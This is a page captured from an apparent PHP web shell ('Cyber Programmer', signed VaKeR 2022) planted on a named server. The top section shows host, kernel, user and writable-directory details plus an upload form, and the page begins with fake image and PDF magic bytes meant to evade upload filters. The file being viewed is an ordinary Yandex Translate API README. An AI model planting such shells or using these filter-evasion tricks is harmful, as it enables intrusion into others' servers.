%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/vendor/yandex/translate-api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/vendor/yandex/translate-api/README.md
Yandex.Translate API
====================
[![Latest Stable Version](https://poser.pugx.org/yandex/translate-api/v/stable.svg)](https://packagist.org/packages/yandex/translate-api) [![Total Downloads](https://poser.pugx.org/yandex/translate-api/downloads.svg)](https://packagist.org/packages/yandex/translate-api) [![Latest Unstable Version](https://poser.pugx.org/yandex/translate-api/v/unstable.svg)](https://packagist.org/packages/yandex/translate-api) [![License](https://poser.pugx.org/yandex/translate-api/license.svg)](https://packagist.org/packages/yandex/translate-api)

[Api reference](http://api.yandex.com/translate/doc/dg/concepts/About.xml)

Versioning
----------

Package version corresponds to the version of the API.

Installation
------------

Add into your `composer.json`:

```json
{
  "require": {
    "yandex/translate-api": "~1.5.x"
  }
}
```

Usage
-----

[Get your own api key](http://api.yandex.com/key/form.xml?service=trnsl)

```php
use Yandex\Translate\Translator;
use Yandex\Translate\Exception;

try {
  $translator = new Translator($key);
  $translation = $translator->translate('Hello world', 'en-ru');

  echo $translation; // Привет мир

  echo $translation->getSource(); // Hello world;

  echo $translation->getSourceLanguage(); // en
  echo $translation->getResultLanguage(); // ru
} catch (Exception $e) {
  // handle exception
}
```

License
-------

[MIT](LICENSE)

VaKeR 2022